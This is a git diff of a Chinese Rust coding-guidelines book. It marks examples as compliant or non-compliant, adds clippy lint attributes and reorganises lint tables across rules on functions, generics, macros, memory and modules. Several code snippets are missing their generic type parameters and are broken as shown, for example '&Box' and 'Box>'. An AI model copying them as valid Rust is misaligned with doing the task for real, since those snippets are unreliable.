a/src/safe-guides/coding_practice/fn-design/G.FUD.04.md b/src/safe-guides/coding_practice/fn-design/G.FUD.04.md index 8fd7ba84..7969e189 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.04.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.04.md @@ -9,17 +9,21 @@ **【反例】** ```rust +#![warn(clippy::trivially_copy_pass_by_ref)] fn foo(v: &u32) {} ``` **【正例】** ```rust +#![warn(clippy::trivially_copy_pass_by_ref)] fn foo(v: u32) {} ``` **【例外】** +需要注意这种情况下,lint 检查工具会误报。 + ```rust #[derive(Clone, Copy)] struct RawPoint { diff --git a/src/safe-guides/coding_practice/fn-design/G.FUD.05.md b/src/safe-guides/coding_practice/fn-design/G.FUD.05.md index 9310b639..0ab72787 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.05.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.05.md @@ -1,4 +1,4 @@ -## G.FUD.05 不要为函数指定 `inline(always)` +## G.FUD.05 不要总是为函数指定 `inline(always)` **【级别】** 建议 @@ -11,6 +11,9 @@ Rust 中性能、编译时间和编译大小之间需要权衡。根据需要再 **【反例】** ```rust +#![warn(clippy::inline_always)] + +// 不符合 #[inline(always)] fn not_quite_hot_code(..) { ... } ``` @@ -20,7 +23,7 @@ fn not_quite_hot_code(..) { ... } 根据需要再inline即可,比如明确知道某个函数被调用次数非常频繁,这个时候为了性能考虑要为其手工指定内联。 ```rust -// 实现内存回收功能,调用非常频繁。性能优先。 +// 符合:实现内存回收功能,调用非常频繁。性能优先。 #[inline(always)] pub fn buf_recycle(buf_id: usize) { // ... diff --git a/src/safe-guides/coding_practice/fn-design/G.FUD.06.md b/src/safe-guides/coding_practice/fn-design/G.FUD.06.md index 8fbdc6a2..5caa5ddf 100644 --- a/src/safe-guides/coding_practice/fn-design/G.FUD.06.md +++ b/src/safe-guides/coding_practice/fn-design/G.FUD.06.md @@ -1,14 +1,15 @@ -## G.FUD.06 函数参数建议使用借用类型 +## G.FUD.06 函数参数应该考虑兼容多种类型 **【级别】** 建议 **【描述】** -这里是指 借用类型,而非 借用有所有权的类型。这样的好处是参数可以灵活兼容更多类型。 +这样的好处是参数可以灵活兼容更多类型,代码方便扩展。 **【反例】** ```rust +// 不符合 fn three_vowels(word: &String) -> bool { let mut vowel_count = 0; for c in word.chars() { @@ -38,7 +39,7 @@ fn main() { **【正例】** ```rust -// 这里的参数可以接受 &String / &'str/ &'static str 三种类型参数 +// 符合:这里的参数可以接受 &String / &'str/ &'static str 三种类型参数 fn three_vowels(word: &str) -> bool { let mut vowel_count = 0; for c in word.chars() { diff --git a/src/safe-guides/coding_practice/fn-design/P.FUD.01.md b/src/safe-guides/coding_practice/fn-design/P.FUD.01.md index d9d832c2..4c218f05 100644 --- a/src/safe-guides/coding_practice/fn-design/P.FUD.01.md +++ b/src/safe-guides/coding_practice/fn-design/P.FUD.01.md @@ -15,11 +15,11 @@ let num1 = Rc::new(1); let num2 = Rc::new(2); let num3 = Rc::new(3); let closure = { - // `num1` is moved - let num2 = num2.clone(); // `num2` is cloned - let num3 = num3.as_ref(); // `num3` is borrowed + // `num1` 所有权已经转移 + let num2 = num2.clone(); + let num3 = num3.as_ref(); move || { - *num1 + *num2 + *num3; + *num1 + *num2 + *num3; // 不符合 } }; ``` @@ -32,10 +32,10 @@ use std::rc::Rc; let num1 = Rc::new(1); let num2 = Rc::new(2); let num3 = Rc::new(3); -// 单独对要传递到闭包的变量重新绑定 +// 符合: 单独对要传递到闭包的变量重新绑定 let num2_cloned = num2.clone(); let num3_borrowed = num3.as_ref(); let closure = move || { - *num1 + *num2_cloned + *num3_borrowed; + *num1 + *num2_cloned + *num3_borrowed; // 符合 }; ``` diff --git a/src/safe-guides/coding_practice/fn-design/P.FUD.02.md b/src/safe-guides/coding_practice/fn-design/P.FUD.02.md index a5f71d3f..8d0d0390 100644 --- a/src/safe-guides/coding_practice/fn-design/P.FUD.02.md +++ b/src/safe-guides/coding_practice/fn-design/P.FUD.02.md @@ -1,8 +1,8 @@ -## P.FUD.02 函数返回值不要使用 `return` +## P.FUD.02 函数返回值不要使用 `return` **【描述】** -Rust 中函数块会自动返回最后一个表达式的值,不需要显式地指定 Return。 +Rust 中函数块会自动返回最后一个表达式的值,不需要显式地指定 `return`。 只有在函数过程中需要提前返回的时候再加 Return。 @@ -13,7 +13,7 @@ fn foo(x: usize) -> usize { if x < 42{ return x; } - return x + 1; + return x + 1; // 不符合 } ``` @@ -24,6 +24,6 @@ fn foo(x: usize) -> usize { if x < 42{ return x; } - x + 1 + x + 1 // 符合 } ``` diff --git a/src/safe-guides/coding_practice/generic/G.GEN.01.md b/src/safe-guides/coding_practice/generic/G.GEN.01.md index c88ccc6a..4ea7a106 100644 --- a/src/safe-guides/coding_practice/generic/G.GEN.01.md +++ b/src/safe-guides/coding_practice/generic/G.GEN.01.md @@ -12,6 +12,7 @@ 这里 `u32` 会被认为是一个类型参数。 ```rust +// 不符合 impl Foo { fn impl_func(&self) -> u32 { 42 @@ -22,6 +23,7 @@ impl Foo { **【正例】** ```rust +// 符合 impl Foo { fn impl_func(&self) -> T { 42 diff --git a/src/safe-guides/coding_practice/generic/G.GEN.02.md b/src/safe-guides/coding_practice/generic/G.GEN.02.md index a28d6aec..76f13fd1 100644 --- a/src/safe-guides/coding_practice/generic/G.GEN.02.md +++ b/src/safe-guides/coding_practice/generic/G.GEN.02.md @@ -2,12 +2,6 @@ **【级别】** 建议 -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [inefficient_to_string](https://rust-lang.github.io/rust-clippy/master/#inefficient_to_string) | yes | no | pedantic | allow | - **【描述】** Rust 标准库内部某些类型使用了 泛型特化(未稳定特性),比如 `ToString` trait。 @@ -21,15 +15,27 @@ Rust 标准库内部某些类型使用了 泛型特化(未稳定特性), **【反例】** ```rust +#![warn(clippy::inefficient_to_string)] + +// 不符合 // 闭包参数中, s 为 `&&str` 类型 // `&&str` 就会去调用泛型的默认实现 -["foo", "bar"].iter().map(|&s| s.to_string() ); +["foo", "bar"].iter().map(|s| s.to_string() ); ``` **【正例】** ```rust +#![warn(clippy::inefficient_to_string)] + +// 符合 // 闭包参数中, s 为 `&&str` 类型,使用 `|&s|` 对参数模式匹配后,闭包体内 `s` 就变成了 `&str` 类型 // 经过这样的转换,直接调用 `&str`的 `to_string()` 方法,而如果是 `&&str` 就会去调用泛型的默认实现。 ["foo", "bar"].iter().map(|&s| s.to_string() ); -``` \ No newline at end of file +``` + +**【Lint 检测】** + +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | +| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | +| [inefficient_to_string](https://rust-lang.github.io/rust-clippy/master/#inefficient_to_string) | yes | no | pedantic | allow | \ No newline at end of file diff --git a/src/safe-guides/coding_practice/generic/P.GEN.01.md b/src/safe-guides/coding_practice/generic/P.GEN.01.md index 302ff535..c8eb6581 100644 --- a/src/safe-guides/coding_practice/generic/P.GEN.01.md +++ b/src/safe-guides/coding_practice/generic/P.GEN.01.md @@ -1,4 +1,4 @@ -## P.GEN.01 用泛型来抽象公共语义 +## P.GEN.01 用泛型来抽象公共语义 **【描述】** @@ -49,6 +49,7 @@ impl Add for Kilogram { } } fn main() { + // 不符合:如果要再新增新的单位,还需要实现很多重复代码 let one_meter = Meter::new(1.0); let two_kilograms = Kilogram::new(2.0); @@ -96,6 +97,7 @@ struct KilogramType; type Meter = Unit; type Kilogram = Unit; fn main() { + // 符合:如果要再新增新的单位,就方便很多了 let one_meter = Meter::new(1.0); let two_kilograms = Kilogram::new(2.0); diff --git a/src/safe-guides/coding_practice/generic/P.GEN.05.md b/src/safe-guides/coding_practice/generic/P.GEN.05.md index c76e7e7b..f59f50f0 100644 --- a/src/safe-guides/coding_practice/generic/P.GEN.05.md +++ b/src/safe-guides/coding_practice/generic/P.GEN.05.md @@ -2,11 +2,11 @@ **【描述】** -泛型,在 Rust 类型系统中的语义是一种 通用量化l类型(Universally-quantified type),即,泛型类型` T` 的所有可能 的单态类型。 +泛型,在 Rust 类型系统中的语义是一种 通用量化类型(Universally-quantified type),即,泛型类型` T` 的所有可能 的单态类型。 在泛型函数内部,如果使用了来自某个 trait 定义的行为,则需要为泛型指定相关的 trait 限定,来排除其他没有实现该trait 的类型。 -注:Rust编译器可以检测这种情况,但是编译错误比较晦涩,本原则用来提示开发者注意这种情况。 +> 注:Rust编译器可以检测这种情况,但是编译错误比较晦涩,本原则用来提示开发者注意这种情况。 **【反例】** diff --git a/src/safe-guides/coding_practice/io/G.FIO.01.md b/src/safe-guides/coding_practice/io/G.FIO.01.md index 4280c56e..28d49db4 100644 --- a/src/safe-guides/coding_practice/io/G.FIO.01.md +++ b/src/safe-guides/coding_practice/io/G.FIO.01.md @@ -4,7 +4,7 @@ `BufReader/BufWriter` 使用缓冲区来减少 I/O 请求的次数,提升性能。访问磁盘一次读取 256 个字节显然比 访问磁盘256次每次一个字节 效率要更高。 -【示例】 +**【示例】** ```rust use std::fs::File; diff --git a/src/safe-guides/coding_practice/macros/G.MAC.01.md b/src/safe-guides/coding_practice/macros/G.MAC.01.md index 6c6736ea..aa7d88f0 100644 --- a/src/safe-guides/coding_practice/macros/G.MAC.01.md +++ b/src/safe-guides/coding_practice/macros/G.MAC.01.md @@ -11,7 +11,8 @@ **【反例】** ```rust -// Release 模式编译 +#![warn(clippy::dbg_macro)] +// 不符合:代码加入版本控制时还保留着 dbg! 代码 let foo = false; dbg!(foo); ``` @@ -19,11 +20,9 @@ dbg!(foo); **【正例】** ```rust -// Debug 模式编译 -let foo = false; -dbg!(foo); +#![warn(clippy::dbg_macro)] -// Release 模式编译 +// 符合:代码加入版本控制时注释掉 dbg! 代码 let foo = false; // dbg!(foo); ``` diff --git a/src/safe-guides/coding_practice/macros/G.MAC.02.md b/src/safe-guides/coding_practice/macros/G.MAC.02.md index 1489fdc5..51ba9b1b 100644 --- a/src/safe-guides/coding_practice/macros/G.MAC.02.md +++ b/src/safe-guides/coding_practice/macros/G.MAC.02.md @@ -14,13 +14,13 @@ pub fn expect(self, msg: &str) -> T { match self { Ok(t) => t, - Err(e) => panic!("{}: {:?}", msg, &e), + Err(e) => panic!("{}: {:?}", msg, &e), // 不符合 } } pub fn unwrap_err(self) -> E { match self { - Ok(t) => panic!("{}: {:?}", "called `Result::unwrap_err()` on an `Ok` value", &t), + Ok(t) => panic!("{}: {:?}", "called `Result::unwrap_err()` on an `Ok` value", &t), // 不符合 Err(e) => e, } } @@ -39,21 +39,14 @@ fn unwrap_failed(msg: &str, error: &dyn fmt::Debug) -> ! { pub fn expect(self, msg: &str) -> T { match self { Ok(t) => t, - Err(e) => unwrap_failed(msg, &e), + Err(e) => unwrap_failed(msg, &e), // 符合 } } pub fn unwrap_err(self) -> E { match self { - Ok(t) => unwrap_failed("called `Result::unwrap_err()` on an `Ok` value", &t), + Ok(t) => unwrap_failed("called `Result::unwrap_err()` on an `Ok` value", &t), // 符合 Err(e) => e, } } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/macros/P.MAC.02.md b/src/safe-guides/coding_practice/macros/P.MAC.02.md index 6ca857d8..735eeea8 100644 --- a/src/safe-guides/coding_practice/macros/P.MAC.02.md +++ b/src/safe-guides/coding_practice/macros/P.MAC.02.md @@ -7,12 +7,12 @@ Rust 宏可以让开发者定义自己的 DSL,但是在使用宏的时候, **【反例】** ```rust -// 无关键词 +// 不符合:无关键词 bitflags! { S: u32 { /* ... */ } } -// 或使用一些自定义的特定用途关键词 +// 不符合:或使用一些自定义的特定用途关键词 bitflags! { flags S: u32 { /* ... */ } } @@ -20,7 +20,7 @@ bitflags! { // 或 bitflags! { struct S: u32 { - const E = 0b010000, // 结尾应该是分号更符合 Rust 语法 + const E = 0b010000, // 不符合:结尾应该是分号更符合 Rust 语法 const F = 0b100000, } } @@ -30,10 +30,10 @@ bitflags! { ```rust bitflags! { - struct S: u32 { /* ... */ } + struct S: u32 { /* ... */ } // 符合 } -// 也要注意结尾是正确的分号或逗号 +// 符合:结尾是正确的分号 bitflags! { struct S: u32 { const C = 0b000100; diff --git a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md index b71f6387..a0d75ad6 100644 --- a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md +++ b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md @@ -2,9 +2,7 @@ **【描述】** -声明宏是半卫生(semi-hygienic)宏,其内部元变量(metavariables)不可作为外部变量去使用。 - -但是对于泛型参数(包括生命周期参数)是不卫生的,所以要小心使用。 +声明宏是半卫生(semi-hygienic)宏,其内部元变量(metavariables)不可作为外部变量去使用。但是对于泛型参数(包括生命周期参数)是不卫生的,所以要小心使用。 **【反例】** diff --git a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md index 823519a9..074d8679 100644 --- a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md +++ b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md @@ -2,7 +2,7 @@ **【描述】** -因为 声明宏 中,是按规则的编写顺序来匹配的。当第一个规则被匹配到,后面的规则将永远不会匹配到。所以,编写声明宏规则时,需要先写匹配粒度最小的,最具体的规则,然后逐步编写匹配范围更广泛的规则。 +因为声明宏中,是按规则的编写顺序来匹配的。当第一个规则被匹配到,后面的规则将永远不会匹配到。所以,编写声明宏规则时,需要先写匹配粒度最小的,最具体的规则,然后逐步编写匹配范围更广泛的规则。 **【正例】** diff --git a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md index a3c06e0f..888a079e 100644 --- a/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md +++ b/src/safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md @@ -6,7 +6,7 @@ **【反例】** -宏解析器无法确定第一次匹配的应该是多少个 ident。 +宏解析器无法确定第一次匹配的应该是多少个 `ident`。 ```rust macro_rules! ambiguity { diff --git a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md index d4e3d640..b0a9f313 100644 --- a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md +++ b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md @@ -9,29 +9,17 @@ **【反例】** ```rust +// 不符合 fn foo(bar: &Box) { ... } ``` **【正例】** ```rust +// 符合 fn foo(bar: &T) { ... } ``` -**【例外】** - -用例来源:[actix-web-security](https://github.com/cschaible/actix-web-security/blob/6e3a7716a1391ea880da85dfa4631dce3aaafd18/src/authentication/scheme/authentication_provider.rs#L12) - -```rust -#[async_trait] -pub trait AuthenticationProvider: AuthenticationProviderClone { - #[allow(clippy::borrowed_box)] - async fn authenticate( - &self, - authentication: &Box, - ) -> Result, AuthenticationError>; -} -``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md index 4db8ce2c..e38765fe 100644 --- a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md +++ b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md @@ -10,7 +10,7 @@ ```rust struct X { - // Vec已在堆上分配了内存 + // 不符合:Vec已在堆上分配了内存 values: Box>, } ``` @@ -19,6 +19,7 @@ struct X { ```rust struct X { + // 符合 values: Vec, } ``` diff --git a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md index a5f31d36..b9b24cda 100644 --- a/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md +++ b/src/safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md @@ -4,13 +4,13 @@ **【描述】** -此举会对性能造成不必要的影响。 -只有当某个栈变量太大,需要使用堆分配的情况下,或是栈变量需要逃逸的时候,才需要考虑是否对其使用 `Box` 装箱。 +此举会对性能造成不必要的影响。只有当某个栈变量太大,需要使用堆分配的情况下,或是栈变量需要逃逸的时候,才需要考虑是否对其使用 `Box` 装箱。 **【反例】** ```rust fn foo(bar: usize) {} +// 不符合 let x = Box::new(1); foo(*x); println!("{}", *x); @@ -20,6 +20,7 @@ println!("{}", *x); ```rust fn foo(bar: usize) {} +// 符合 let x = 1; foo(x); println!("{}", x); @@ -38,6 +39,7 @@ impl ServeFunc for F where F: FnOnce() -> Result<()>, { + // 特殊情况,F 是泛型,且要匹配 trait定义 #[cfg_attr(feature = "cargo-clippy", allow(boxed_local))] fn call_box(self: Box) -> Result<()> { (*self)() diff --git a/src/safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md b/src/safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md index b0f90f5b..7eb39258 100644 --- a/src/safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md +++ b/src/safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md @@ -4,7 +4,7 @@ Rust 语言并不保证避免内存泄漏,内存泄漏不属于 Rust 安全职责范围。使用 Rust 的时候需要注意下面情况可能会发生内存泄漏: -1. 循环引用 +1. 循环引用导致没有正常调用析构函数 2. 使用 `forget` / `leak` 等函数主动跳过析构 3. 使用 `std::mem::ManuallyDrop` 构建数据结构而忘记析构 4. 析构函数内部发生了 panic diff --git a/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md b/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md index 6e09654f..8da28bb4 100644 --- a/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md +++ b/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md @@ -24,6 +24,7 @@ struct ConstraintGeneration<'a, 'b, 'c> { **【正例】** ```rust +// 增加 'cg 意义的文档注释 /// 'cg = the duration of the constraint generation process itself. struct ConstraintGeneration<'cg, 'cx, 'tcx> { infcx: &'cg InferCtxt<'cx, 'tcx>, diff --git a/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md b/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md index b2f44a49..b899c72b 100644 --- a/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md +++ b/src/safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md @@ -32,7 +32,7 @@ impl<'a> Buffer<'a> { fn new(b: &'_ [u8]) -> Buffer { Buffer { buf: b, pos: 0 } } - // 此处依赖编译器推断的生命周期将导致main函数中该方法调用编译错误 + // 不符合:此处依赖编译器推断的生命周期将导致main函数中该方法调用编译错误 fn read_bytes(&'_ mut self) -> &'_ [u8] { self.pos += 3; &self.buf[self.pos - 3..self.pos] @@ -56,12 +56,12 @@ struct Buffer<'a> { pos: usize, } -// 明确标示清楚生命周期,向编译器传达开发者意图,则可正常编译 +// 符合:明确标示清楚生命周期,向编译器传达开发者意图,则可正常编译 impl<'b, 'a: 'b> Buffer<'a> { fn new(b: &'_ [u8]) -> Buffer { Buffer { buf: b, pos: 0 } } - // 明确标示清楚输入引用和输出引用的生命周期关系是 `'a: 'b` + // 符合:明确标示清楚输入引用和输出引用的生命周期关系是 `'a: 'b` fn read_bytes(&'b mut self) -> &'a [u8] { self.pos += 3; &self.buf[self.pos - 3..self.pos] diff --git a/src/safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md b/src/safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md index 376cd788..7bc87fca 100644 --- a/src/safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md +++ b/src/safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md @@ -10,6 +10,7 @@ Rust 的 `RefCell` 在运行时会对通过 `borrow/borrow_mut` 方法借用 **【反例】** ```rust +// 不符合 // 以下两个函数会让 C 函数在多线程下调用 // 运行过程中有一定几率会出现 Panic pub extern "C" fn nic_udrv_suspend() { @@ -24,6 +25,7 @@ pub extern "C" fn nic_udrv_buf_recycle(buf_id: usize) { **【正例】** ```rust +// 符合 // 以下两个函数会让 C 函数在多线程下调用 // 使用 try_borrow 或 try_borrow_mut 可以避免运行过程中出现 Panic pub extern "C" fn nic_udrv_suspend() { diff --git a/src/safe-guides/coding_practice/module/G.MOD.01.md b/src/safe-guides/coding_practice/module/G.MOD.01.md index e12c21a2..d0d6ed3d 100644 --- a/src/safe-guides/coding_practice/module/G.MOD.01.md +++ b/src/safe-guides/coding_practice/module/G.MOD.01.md @@ -1,4 +1,4 @@ -## G.MOD.01 使用导入模块中的类型或函数,在某些情况下需要带 模块名前缀 +## G.MOD.01 使用导入模块中的类型或函数,在某些情况下需要带模块名前缀 **【级别】** 建议 @@ -25,16 +25,7 @@ let mut rust = vec!['b', 'u', 's', 't']; // `mem::replace` would have the same effect without requiring the unsafe // block. let b = unsafe { + // 符合 ptr::replace(&mut rust[0], 'r') }; ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -可以检测外部模块导入的自定义的类型是否带模块前缀,给予建议。 diff --git a/src/safe-guides/coding_practice/module/G.MOD.02.md b/src/safe-guides/coding_practice/module/G.MOD.02.md index e1a3ed8b..5d69b342 100644 --- a/src/safe-guides/coding_practice/module/G.MOD.02.md +++ b/src/safe-guides/coding_practice/module/G.MOD.02.md @@ -1,4 +1,4 @@ -## G.MOD.02 如果是作为库供别人使用,在 `lib.rs`中重新导出对外类型、函数和 trait 等 +## G.MOD.02 如果是作为库供别人使用,在 `lib.rs`中重新导出对外类型、函数和 trait 等 **【级别】** 建议 @@ -9,16 +9,10 @@ **【正例】** ```rust +// 符合 // From syn crate pub use crate::data::{ Field, Fields, FieldsNamed, FieldsUnnamed, Variant, VisCrate, VisPublic, VisRestricted, Visibility, }; -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/module/G.MOD.03.md b/src/safe-guides/coding_practice/module/G.MOD.03.md index 68b80818..917a78f6 100644 --- a/src/safe-guides/coding_practice/module/G.MOD.03.md +++ b/src/safe-guides/coding_practice/module/G.MOD.03.md @@ -1,5 +1,5 @@ -## G.MOD.03 导入模块不要随便使用 通配符`*` +## G.MOD.03 导入模块不要随便使用 通配符`*` **【级别】** 建议 @@ -10,7 +10,7 @@ **【反例】** ```rust - +#![warn(clippy::wildcard_imports)] use crate2::*; // Has a function named foo foo(); // Calls crate1::foo ``` @@ -18,6 +18,7 @@ foo(); // Calls crate1::foo **【正例】** ```rust +#![warn(clippy::wildcard_imports)] use crate1::foo; // Imports a function named foo foo(); // Calls crate1::foo ``` diff --git a/src/safe-guides/coding_practice/module/G.MOD.04.md b/src/safe-guides/coding_practice/module/G.MOD.04.md index f761ab38..afad1cc7 100644 --- a/src/safe-guides/coding_practice/module/G.MOD.04.md +++ b/src/safe-guides/coding_practice/module/G.MOD.04.md @@ -1,4 +1,4 @@ -## G.MOD.04 一个项目中应该避免使用不同的模块布局风格 +## G.MOD.04 一个项目中应该避免使用不同的模块布局风格 **【级别】** 建议 @@ -13,15 +13,18 @@ Rust 支持两种 模块布局,文件夹内使用 `mod.rs` 或者是使用跟 **【反例】** ```rust -// 使用 `self_named_module_files`,不允许下面模块布局 +#![warn(clippy::self_named_module_files, clippy::mod_module_files)] + +// 不符合:使用 `self_named_module_files`,不允许下面模块布局 +#![warn(clippy::self_named_module_files)] src/ stuff/ stuff_files.rs stuff.rs lib.rs -// 使用 `mod_module_files`,不允许下面模块布局 - +// 不符合:使用 `mod_module_files`,不允许下面模块布局 +#![warn(clippy::mod_module_files)] src/ stuff/ stuff_files.rs @@ -32,14 +35,16 @@ src/ **【正例】** ```rust -// 使用 `self_named_module_files`,允许下面模块布局 +// 符合:使用 `self_named_module_files`,允许下面模块布局 +#![warn(clippy::self_named_module_files)] src/ stuff/ stuff_files.rs mod.rs lib.rs -// 使用 `mod_module_files`,允许下面模块布局 +// 符合:使用 `mod_module_files`,允许下面模块布局 +#![warn(clippy::mod_module_files)] src/ stuff/ stuff_files.rs diff --git a/src/safe-guides/coding_practice/module/G.MOD.05.md b/src/safe-guides/coding_practice/module/G.MOD.05.md index e311e408..1dc36fe2 100644 --- a/src/safe-guides/coding_practice/module/G.MOD.05.md +++ b/src/safe-guides/coding_practice/module/G.MOD.05.md @@ -4,12 +4,13 @@ **【描述】** -如果在私有模块中设置 `pub(crate)` 可能会让使用者产生误解。建议用 `pub` 代替。 +如果在私有模块中设置 `pub(crate)` 可能会让使用者产生误解。建议用 `pub` 代替。 **【反例】** ```rust mod internal { + // 不符合 pub(crate) fn internal_fn() { } } ``` @@ -17,19 +18,11 @@ mod internal { **【正例】** ```rust +// 符合 mod internal { + // 此函数在模块外部不可见,可以使用 pub 或 继续保持私有 pub fn internal_fn() { } } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [redundant_pub_crate](https://rust-lang.github.io/rust-clippy/master/#redundant_pub_crate) | yes | no | nursery | allow | - -注意:此 lint 为 nursery,意味着有 Bug。 - - - diff --git a/src/safe-guides/coding_practice/module/P.MOD.01.md b/src/safe-guides/coding_practice/module/P.MOD.01.md index 6bb39a12..95074734 100644 --- a/src/safe-guides/coding_practice/module/P.MOD.01.md +++ b/src/safe-guides/coding_practice/module/P.MOD.01.md @@ -1,4 +1,4 @@ -## P.MOD.01 合理控制对外接口和模块之间的可见性 +## P.MOD.01 合理控制对外接口和模块之间的可见性 **【描述】** diff --git a/src/safe-guides/coding_practice/module/P.MOD.02.md b/src/safe-guides/coding_practice/module/P.MOD.02.md index 30278078..3a7e72e2 100644 --- a/src/safe-guides/coding_practice/module/P.MOD.02.md +++ b/src/safe-guides/coding_practice/module/P.MOD.02.md @@ -1,4 +1,4 @@ -## P.MOD.02 将模块的测试移动到单独的文件,有助于增加编译速度 +## P.MOD.02 将模块的测试移动到单独的文件,有助于增加编译速度 **【描述】** diff --git a/src/safe-guides/coding_practice/others/G.OTH.01.md b/src/safe-guides/coding_practice/others/G.OTH.01.md index 55cf65df..1ed35f2c 100644 --- a/src/safe-guides/coding_practice/others/G.OTH.01.md +++ b/src/safe-guides/coding_practice/others/G.OTH.01.md @@ -28,20 +28,21 @@ allowed-locales = ["Latin", "Cyrillic"] 当 `clippy.toml` 做了上面配置时,下面代码会曝出警告。 ```rust -// Example code where clippy issues a warning +#![warn(clippy::disallowed_method, clippy::disallowed_script_idents, clippy::disallowed_type)] +// 不符合 let xs = vec![1, 2, 3, 4]; -xs.leak(); // Vec::leak is disallowed in the config. -// The diagnostic contains the message "no leaking memory". +xs.leak(); // Vec::leak 被配置为不允许 +let _now = Instant::now(); // Instant::now 被配置为不允许 -let _now = Instant::now(); // Instant::now is disallowed in the config. - -let _box = Box::new(3); // Box::new is disallowed in the config. +let _box = Box::new(3); // Box::new 被配置为不允许 ``` **【正例】** ```rust -// Example code which does not raise clippy warning +#![warn(clippy::disallowed_method, clippy::disallowed_script_idents, clippy::disallowed_type)] + +// 符合 let mut xs = Vec::new(); // Vec::new is _not_ disallowed in the ``` diff --git a/src/safe-guides/coding_practice/others/G.OTH.02.md b/src/safe-guides/coding_practice/others/G.OTH.02.md index 37578140..d8fc1be2 100644 --- a/src/safe-guides/coding_practice/others/G.OTH.02.md +++ b/src/safe-guides/coding_practice/others/G.OTH.02.md @@ -13,8 +13,8 @@ let dur = Duration::new(5, 0); // Bad -let _micros = dur.subsec_nanos() / 1_000; // 用纳秒计算微秒 -let _millis = dur.subsec_nanos() / 1_000_000; // 用纳秒计算毫秒 +let _micros = dur.subsec_nanos() / 1_000; // 不符合:用纳秒计算微秒 +let _millis = dur.subsec_nanos() / 1_000_000; // 不符合:用纳秒计算毫秒 ``` **【正例】** @@ -24,8 +24,8 @@ let _millis = dur.subsec_nanos() / 1_000_000; // 用纳秒计算毫秒 let dur = Duration::new(5, 0); // Good -let _micros = dur.subsec_micros(); // 通过标准库函数得到微秒 -let _millis = dur.subsec_millis(); // 通过标准库函数得到毫秒 +let _micros = dur.subsec_micros(); // 符合:通过标准库函数得到微秒 +let _millis = dur.subsec_millis(); // 符合:通过标准库函数得到毫秒 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/security/G.SEC.01.md b/src/safe-guides/coding_practice/security/G.SEC.01.md index e5b5d29a..2e376292 100644 --- a/src/safe-guides/coding_practice/security/G.SEC.01.md +++ b/src/safe-guides/coding_practice/security/G.SEC.01.md @@ -24,6 +24,7 @@ Rust 的 `mixed_script_confusables` 和 `confusable_idents` 可以识别 同形 ```rust #![deny(text_direction_codepoint_in_comment)] +// 不符合 // 这段代码不应该输出里面的打印语句,但实际上输出了。 // 因为开发者看上去条件表达式里 确实等于 "user",但实际上不等于"user",因为这个字符串里被加了隐藏字符。 fn main() { diff --git a/src/safe-guides/coding_practice/statics/G.STV.01.md 